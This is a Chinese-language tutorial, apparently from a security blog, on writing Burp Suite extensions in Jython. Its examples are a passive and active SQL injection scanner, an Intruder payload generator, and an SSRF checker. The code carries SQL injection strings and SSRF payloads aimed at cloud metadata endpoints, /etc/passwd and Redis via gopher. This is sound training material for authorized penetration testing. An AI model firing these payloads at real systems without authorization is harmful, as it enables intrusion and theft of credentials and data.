PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】Burp Suite插件开发:用Python/Jython写你的第一个Burp插件

📅 2026年5月31日 📁 Hermes Agent ⏱ 4 分钟

适合人群:渗透测试工程师、Web安全研究员、希望自动化安全测试的开发者

前置知识:Python基础语法、HTTP协议基础、Burp Suite基本操作

一、前置准备

环境要求

组件版本建议说明
Burp SuiteProfessional 2026.x / Community社区版功能完整,够用
Jython Standalone2.7.3+Python解释器Java实现
JDK17+Burp 2026 最低要求
IDEVS Code / IntelliJ代码编辑

下载与安装

Step 1: 下载 Jython Standalone Jar


wget https://repo1.maven.org/maven2/org/python/jython-standalone/2.7.3/jython-standalone-2.7.3.jar -O /opt/jython-standalone.jar

Step 2: 在 Burp Suite 中配置 Jython

  1. 打开 Burp Suite → Extender → Options
  2. 在 "Python Environment" 中,选择 Jython 的 jar 路径
  3. 点击 "Select file..." → 选择 /opt/jython-standalone.jar

Step 3: 验证配置


Extender 页面底部应显示:
Python environment: Jython 2.7.3 (loaded successfully)

二、核心原理

Burp Extender API 架构

Burp 提供了完整的 Java API,而 Jython 充当桥接层——让 Python 代码可以通过 Jython 解释器调用 Burp 的原生 Java 接口。

核心接口(必须实现):


IBurpExtender          → 所有插件的入口
IScannerCheck         → 主动/被动扫描
IIntruderPayloadGeneratorFactory → Intruder Payload 生成
IHttpListener         → HTTP 请求/响应拦截
IContextMenuFactory   → 右键菜单扩展
ITab                  → 自定义 UI Tab

插件生命周期


加载插件 → registerExtenderCallbacks() 初始化
         → 注册各类监听器(Scanner/Http/Intruder...)
         → 每次请求/扫描触发对应的回调方法
         → 卸载时自动释放资源

三、实操步骤:写一个自动检测SQL注入的Burp插件

Step 1: 创建插件骨架

创建文件 burp_sql_scanner.py


from burp import IBurpExtender, IScannerCheck
from java.io import PrintWriter
from java.net import URL
import re

class BurpExtender(IBurpExtender, IScannerCheck):

    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()

        # 设置插件名称
        callbacks.setExtensionName("SQL注入扫描器 - Python版")

        # 获取输出流
        self.stdout = PrintWriter(callbacks.getStdout(), True)
        self.stderr = PrintWriter(callbacks.getStderr(), True)

        # 注册为扫描器
        callbacks.registerScannerCheck(self)

        self.stdout.println("[+] SQL注入扫描器已加载")
        self.stdout.println("[+] 作者: Hermes Agent")

    def doPassiveScan(self, baseRequestResponse):
        """被动扫描:在浏览器/Repeater等流量通过时自动检测"""
        issues = []
        response = baseRequestResponse.getResponse()
        if response is None:
            return None

        response_str = self._helpers.bytesToString(response)

        # 检测 SQL 错误信息泄露
        sql_errors = [
            (r"SQL syntax.*MySQL", "MySQL"),
            (r"Warning.*mysql_.*", "MySQL"),
            (r"Unclosed quotation mark", "MSSQL"),
            (r"OLE DB.*SQL Server", "MSSQL"),
            (r"Microsoft.*SQL", "MSSQL"),
            (r"ORA-[0-9]{5}", "Oracle"),
            (r"Oracle.*Driver", "Oracle"),
            (r"PostgreSQL.*ERROR", "PostgreSQL"),
            (r"PSQLException", "PostgreSQL"),
            (r"SQLite/JDBCDriver", "SQLite"),
            (r"SQLite\.Exception", "SQLite"),
        ]

        for pattern, db_type in sql_errors:
            if re.search(pattern, response_str, re.IGNORECASE):
                self.stdout.println("[!] 发现 {} 错误信息泄露".format(db_type))
                # 创建安全漏洞报告
                issue = self._create_issue(
                    baseRequestResponse,
                    "SQL错误信息泄露 - {}".format(db_type),
                    "响应中包含 {} 数据库错误信息,可能导致数据库类型和结构信息泄露".format(db_type),
                    "High",
                    "Firm"
                )
                issues.append(issue)

        return issues if issues else None

    def doActiveScan(self, baseRequestResponse, insertionPoint):
        """主动扫描:对每个参数插入测试Payload"""
        issues = []

        # SQL注入测试Payload
        test_payloads = [
            "'",
            "''",
            "1' OR '1'='1",
            "1' AND '1'='2",
            "1 UNION SELECT NULL--",
            "' OR SLEEP(5)--",
            "1' WAITFOR DELAY '0:0:5'--",
            "1 AND 1=1",
            "1 AND 1=2",
        ]

        for payload in test_payloads:
            checkRequest = insertionPoint.buildRequest(payload)
            checkResponse = self._callbacks.makeHttpRequest(
                baseRequestResponse.getHttpService(), checkRequest
            )

            response_str = self._helpers.bytesToString(checkResponse.getResponse())

            # 检测差异(布尔盲注)
            original_len = len(baseRequestResponse.getResponse())
            current_len = len(checkResponse.getResponse())
            diff_ratio = abs(current_len - original_len) / float(max(original_len, 1))

            if diff_ratio > 0.2:
                self.stdout.println("[?] 响应长度显著变化 (payload: {})".format(payload))

        return issues if issues else None

    def consolidateDuplicateIssues(self, existingIssue, newIssue):
        """去重:相同类型的漏洞只报告一次"""
        if existingIssue.getIssueName() == newIssue.getIssueName():
            return -1
        return 0

    def _create_issue(self, baseRequestResponse, name, detail, severity, confidence):
        """创建漏洞报告对象"""
        return self._callbacks.createScanIssue(
            baseRequestResponse.getHttpService(),
            baseRequestResponse.getUrl(),
            [baseRequestResponse],
            name,
            detail,
            severity,
            confidence
        )

Step 2: 加载插件到 Burp


Extender → Extensions → Add
  Extension Type: Python
  Extension File: 选择 burp_sql_scanner.py

加载成功后,Extender 页面应显示:


Extension 'SQL注入扫描器 - Python版' loaded successfully

Step 3: 测试插件

  1. 访问一个带 SQL 注入漏洞的测试站点(如目标DVWA)
  2. 观察 Extender 输出窗口:
  3. 
    [+] SQL注入扫描器已加载
    [!] 发现 MySQL 错误信息泄露
    [?] 响应长度显著变化 (payload: 1' OR '1'='1)
    
  1. 在 Target → Issue Activity 中查看扫描结果

Step 4: 进阶功能——右键菜单 + Payload 生成器


from burp import IContextMenuFactory, IIntruderPayloadGeneratorFactory
from javax.swing import JMenuItem
from java.awt import Toolkit
from java.awt.datatransfer import StringSelection

class BurpExtender(IBurpExtender, IContextMenuFactory, IIntruderPayloadGeneratorFactory):

    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        callbacks.setExtensionName("Burp扩展 - 多功能版")

        # 注册右键菜单
        callbacks.registerContextMenuFactory(self)
        # 注册Intruder Payload生成器
        callbacks.registerIntruderPayloadGeneratorFactory(self)

    def createMenuItems(self, invocation):
        """右键菜单项"""
        menu = []

        item1 = JMenuItem("Base64编码选中文本")
        item1.addActionListener(lambda x: self._base64_encode(invocation))
        menu.append(item1)

        item2 = JMenuItem("URL解码选中文本")
        item2.addActionListener(lambda x: self._url_decode(invocation))
        menu.append(item2)

        return menu

    def _base64_encode(self, invocation):
        messages = invocation.getSelectedMessages()
        if messages and messages[0].getRequest():
            # 简化版 - 实际使用需获取具体选中文本
            self.stdout.println("[*] Base64编码功能就绪")

    def _url_decode(self, invocation):
        self.stdout.println("[*] URL解码功能就绪")

    def getGeneratorName(self):
        return "SQL注入Payload"

    def createNewInstance(self, attack):
        return self.SQLPayloadGenerator()

    class SQLPayloadGenerator:
        def __init__(self):
            self.payloads = [
                "' OR '1'='1",
                "1' AND SLEEP(5)--",
                "1 UNION SELECT @@version--",
                "' UNION SELECT NULL,NULL--",
                "1' ORDER BY 1--",
                "1' ORDER BY 2--",
                "1' ORDER BY 3--",
            ]
            self.index = 0

        def hasMorePayloads(self):
            return self.index < len(self.payloads)

        def getNextPayload(self, baseValue):
            payload = self.payloads[self.index]
            self.index += 1
            return payload

四、插件部署技巧

多插件管理

方式说明适用场景
单文件所有代码在1个.py文件小型工具型插件
模块包拆分为多个.py + __init__.py大型插件
Jython + JavaPython调用Java库需要高性能计算

自动加载


Burp → Extender → Options
  → Auto-load extensions: 勾选
  → 添加插件路径
这样每次启动Burp自动加载插件

五、实战案例:自动化检测SSRF漏洞


class BurpExtender(IBurpExtender, IScannerCheck):

    SSRF_PAYLOADS = [
        "http://127.0.0.1:80",
        "http://127.0.0.1:8080",
        "http://127.0.0.1:3306",
        "http://127.0.0.1:6379",
        "http://127.0.0.1:27017",
        "http://169.254.169.254/latest/meta-data/",  # AWS metadata
        "file:///etc/passwd",
        "gopher://127.0.0.1:6379/_INFO",
    ]

    def doActiveScan(self, baseRequestResponse, insertionPoint):
        """主动扫描SSRF漏洞"""
        issues = []

        for payload in self.SSRF_PAYLOADS:
            checkRequest = insertionPoint.buildRequest(payload)
            checkResponse = self._callbacks.makeHttpRequest(
                baseRequestResponse.getHttpService(), checkRequest
            )

            response_str = self._helpers.bytesToString(checkResponse.getResponse())

            # 检测SSRF标志
            ssrf_indicators = [
                "root:x:",           # /etc/passwd 内容
                "meta-data",         # AWS metadata
                "+OK",               # Redis
                "MySQL",             # MySQL banner
                "SSH-2.0",          # SSH banner
            ]

            for indicator in ssrf_indicators:
                if indicator in response_str:
                    self.stdout.println("[!] 检测到SSRF: {} -> {}".format(
                        payload[:30], indicator
                    ))

        return issues if issues else None

六、防御建议

风险防御措施
插件盗取数据只加载审计过的开源插件,从官方 BApp Store 下载
插件导致Burp崩溃开发时用 try/except 包裹所有回调;避免无限循环
敏感信息泄露插件输出到 stdout/stderr,注意勿在团队分享中暴露客户数据
性能问题不要在每个请求中都做重计算;用缓存机制降低开销

七、常见陷阱

#陷阱解决方法
1Jython版本不对必须用 Jython 2.7,不支持 Python 3 语法
2print 无效使用 self.stdout.println() 输出到 Burp 控制台
3中文乱码字符串使用 u"中文" 前缀,或 str.encode('utf-8')
4回调阻塞耗时代码放到 Thread 中执行,避免阻塞 Burp UI
5内存泄漏每次回调结束后清理大对象,list = None
6API版本兼容Burp 2020+ API 有变化,检查 IBurpExtenderCallbacks 方法名
7Java类型转换Jython 中 [] 会被当作 Java ArrayList,但有时需显式 java.util.ArrayList()

八、总结(含速查表)

核心API速查表

接口用途关键方法
IBurpExtender入口registerExtenderCallbacks()
IScannerCheck扫描doPassiveScan(), doActiveScan()
IHttpListener流量拦截processHttpMessage()
IContextMenuFactory右键菜单createMenuItems()
IIntruderPayloadGeneratorFactoryPayload生成createNewInstance()
ITab自定义UIgetUiComponent(), getTabCaption()
ISessionHandlingActionSession处理performAction()

一句话总结

Burp插件开发 = 实现1个入口接口 + N个功能接口,Jython让你用Python写Java API——从此Burp扩展不再是Java专属。

学习资源

Bonus:快速模板(复制即用)


from burp import IBurpExtender
from java.io import PrintWriter

class BurpExtender(IBurpExtender):

    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        self.stdout = PrintWriter(callbacks.getStdout(), True)
        callbacks.setExtensionName("我的第一个Burp插件")
        self.stdout.println("[+] 插件加载成功!")
        # 在这里注册你需要的监听器

复制这段代码 -> 保存为 my_plugin.py -> 加载到 Burp -> 你就完成了第一个Burp插件开发!🚀

← 返回首页